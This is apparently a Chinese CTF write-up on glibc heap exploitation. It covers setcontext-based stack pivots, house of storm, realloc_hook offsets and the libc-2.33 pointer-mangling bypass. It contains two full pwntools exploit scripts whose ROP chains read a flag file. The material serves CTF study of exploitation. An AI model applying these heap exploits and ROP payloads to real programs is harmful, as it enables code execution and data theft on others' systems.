0x7f0ec725bba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7f0ec725bba7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7f0ec725bbae <setcontext+94>: push rcx
0x7f0ec725bbaf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7f0ec725bbb3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7f0ec725bbba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7f0ec725bbc1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7f0ec725bbc5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7f0ec725bbc9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7f0ec725bbcd <setcontext+125>: xor eax,eax
0x7f0ec725bbcf <setcontext+127>: ret
0x7f0ec725bbd0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x37c2a1] # 0x7f0ec75d7e78
0x7f0ec725bbd7 <setcontext+135>: neg eax
0x7f0ec725bbd9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x7f0ec725bbdc <setcontext+140>: or rax,0xffffffffffffffff
0x7f0ec725bbe0 <setcontext+144>: ret

一般思路是修改free_hook为setcontext + 53,在被free的堆中布置参数,如下

1
2
3
frame = SigreturnFrame()
frame.rsp = heap - 400 + 0x10
frame.rip = ret

free这个堆时,rdi就是堆的地址,就可以劫持程序流程,rsp设置为已经布置了rop内容的堆,ret后就能顺利的执行rop
在本题中,事先已经通过house of storm,将free_hook处写入了setcontext + 53,之后就是常规的利用setcontext来rop进行orw
完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

#p = remote("node4.buuoj.cn",28223)
p = process("./rctf_2019_babyheap")
elf = ELF("./rctf_2019_babyheap")
libc = elf.libc
libc = ELF("./libc-2.23.so")
context.arch = "amd64"

def add(size):
p.sendlineafter("Choice: \n","1")
p.sendlineafter("Size: ",str(size))

def edit(idx,con):
p.sendlineafter("Choice: \n","2")
p.sendlineafter("Index: ",str(idx))
p.sendlineafter("Content: ",con)

def delete(idx):
p.sendlineafter("Choice: \n","3")
p.sendlineafter("Index: ",str(idx))

def show(idx):
p.sendlineafter("Choice: \n","4")
p.sendlineafter("Index: ",str(idx))

bss_ad = 0x202110

add(0x88)#0
add(0x418)#1
add(0xf8)#2

add(0x88)#3
add(0x408)#4
add(0xf8)#5
add(0x18)#6

delete(0)
edit(1,"a"*0x410 + p64(0x420 + 0x90))
delete(2)
add(0x88)#0
add(0x418)#2 -- 1
add(0xf8)#7

delete(3)
edit(4,"a"*0x400 + p64(0x410 + 0x90))
delete(5)
add(0x88)#3
add(0x408)#5 -- 4
add(0xf8)#8

delete(4)
show(5)
libc_base = u64(p.recv(6).ljust(8,"\x00")) - 88 - 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"]
log.info("setcontext: " + hex(setcontext))
gdb.attach(p)
target_ad = free_hook - 0x10
open = libc_base + libc.sym["open"]
read = libc_base + libc.sym["read"]
puts = libc_base + libc.sym["puts"]

rdi = libc_base + 0x0000000000021102
rsi = libc_base + 0x00000000000202e8
rdx = libc_base + 0x0000000000001b92
rax = libc_base + 0x0000000000033544
ret = libc_base + 0x0000000000000937

delete(1)
show(2)
heap = u64(p.recv(6).ljust(8,"\x00"))
log.info("heap: " + hex(heap))

frame = SigreturnFrame()
frame.rsp = heap - 400 + 0x10
frame.rip = ret

flag_ad = heap - 0x640 + 0x10
edit(0,"flag\x00")
edit(8,str(frame))

rop = p64(rdi) + p64(flag_ad) + p64(open)
rop += p64(rdi) + p64(3) + p64(rsi) + p64(flag_ad + 0x10) + p64(rdx) + p64(0x50) + p64(read)
rop += p64(rdi) + p64(flag_ad + 0x10) + p64(puts)

edit(7,rop)

add(0x418)#1
delete(1)

edit(2,p64(0) + p64(target_ad))
edit(5,p64(0) + p64(target_ad + 8) + p64(0) + p64(target_ad - 0x18 - 5))

add(0x48)#1
edit(1,p64(setcontext) + p64(0))

delete(8)

p.interactive()

libc-2.31中的做法

libc-2.31中的setcontext不同于libc-2.27等,不能使用之前的+53偏移,然后的话需要向free_hook中写入magic,对寄存器进行一些设置,然后进行
rop等操作
libc-2.31中找magic

1
mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *

p = process("./pwn")
libc = ELF("./libc.so.6")
context.terminal = ['tmux','splitw','-h']
context.arch = "amd64"
#gdb.attach(proc.pidof(p)[0],gdbscript="b main")

def add(size):
p.sendlineafter("5.Exit\n","1")
p.sendlineafter("size:\n",str(size))

def edit(idx,con):
p.sendlineafter("5.Exit\n","2")
p.sendlineafter("index:",str(idx))
p.sendlineafter("content:",con)

def show(idx):
p.sendlineafter("5.Exit\n","3")
p.sendlineafter("index:",str(idx))

def delete(idx):
p.sendlineafter("5.Exit\n","4")
p.sendlineafter("index:",str(idx))

for i in range(7):
add(0x80)

add(0x80)#7

for i in range(7):#0 - 6
delete(i)

add(0x10)#8
delete(7)
add(0x40)#9
show(9)

p.recv(1)
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00')) - 0x100 + 0x10 - libc.sym["__malloc_hook"]
log.info("libc_base: " + hex(libc_base))

add(0xb0)#10
add(0x100)#11

show(6)
p.recv(1)
heap = u64(p.recv(6).ljust(8,b"\x00"))
log.info("heap: " + hex(heap))

flag_ad = heap + 0x120
frame_heap = heap + 448 + 0x10
rop_heap = frame_heap + 0x100 - 0x40

rdi = libc_base + 0x0000000000023b6a
rsi = libc_base + 0x000000000002601f
rdx = libc_base + 0x0000000000142c92
rax = libc_base + 0x0000000000036174
ret = libc_base + 0x0000000000022679
magic_ad = libc_base + 0x000000000151990

syscall_ret = libc_base + libc.sym['read'] + 0x10
open = libc_base + libc.sym["openat"]
read = libc_base + libc.sym["read"]
puts = libc_base + libc.sym["puts"]
free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"] + 61
#gdb.attach(proc.pidof(p)[0],gdbscript="b main")
frame = b'./flag\x00\x00' + p64(0)*3 + p64(setcontext)
frame += b'\x00'*(0xa0-0x28) + p64(rop_heap) + p64(ret)

rop = p64(rdi) + p64(frame_heap)
rop += p64(rax) + p64(2)
rop += p64(syscall_ret)
rop += p64(rdi) + p64(3)
rop += p64(rsi) + p64(heap)
rop += p64(rdx) + p64(0x100)
rop+= p64(rax) + p64(0)
rop += p64(syscall_ret)
rop += p64(rdi) + p64(1)
rop += p64(rsi) + p64(heap)
rop+= p64(rdx) + p64(0x100)
rop+= p64(rax) + p64(1)
rop+= p64(syscall_ret)
edit(10,frame)
edit(11,rop)

edit(6,p64(free_hook) + p64(0))

add(0x80)#12
add(0x80)#13
add(0x20)#14
edit(14,p64(0) + p64(frame_heap))#14
edit(13,p64(magic_ad))
#log.info("free_hook: " + hex(free_hook))
log.info("frame_heap: " + hex(frame_heap))
#delete(11)
gdb.attach(proc.pidof(p)[0],gdbscript="b main")
delete(14)

p.interactive()

global_max_fast利用

https://ray-cp.github.io/archivers/heap_global_max_fast_exploit

realloc_hook

偏移为2,4,6,0xb,0xc,0xd,0x10,0x14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:00000000000846C0 realloc         proc near               ; DATA XREF: LOAD:0000000000006BA0↑o
.text:00000000000846C0 ; __unwind {
.text:00000000000846C0 push r15 ; Alternative name is '__libc_realloc'
.text:00000000000846C2 push r14
.text:00000000000846C4 push r13
.text:00000000000846C6 push r12
.text:00000000000846C8 mov r13, rsi
.text:00000000000846CB push rbp
.text:00000000000846CC push rbx
.text:00000000000846CD mov rbx, rdi
.text:00000000000846D0 sub rsp, 38h
.text:00000000000846D4 mov rax, cs:__realloc_hook_ptr
.text:00000000000846DB mov rax, [rax]
.text:00000000000846DE test rax, rax
.text:00000000000846E1 jnz loc_848E8 ; 跳转执行 realloc_hook
.text:00000000000846E7 test rsi, rsi
.text:00000000000846EA jnz short loc_846F5
.text:00000000000846EC test rdi, rdi
.text:00000000000846EF jnz loc_84960

mallopt

nt mallopt(int param,int value) param的取值分别为M_MXFAST,value是以字节为单位。
M_MXFAST:定义使用fastbins的内存请求大小的上限,小于该阈值的小块内存请求将不会使用fastbins获得内存,其缺省值为64。下面我们来将M_
MXFAST设置为0,禁止使用fastbins

libc-2.33中key绕过

libc-2.33中堆delete后,fd存放的是heap >> 12,绕过方式如下

1
2
3
1.leak fd(需要只有一个heap)
2.ad = fd ^ ad
3.fill ad

原理图
avatar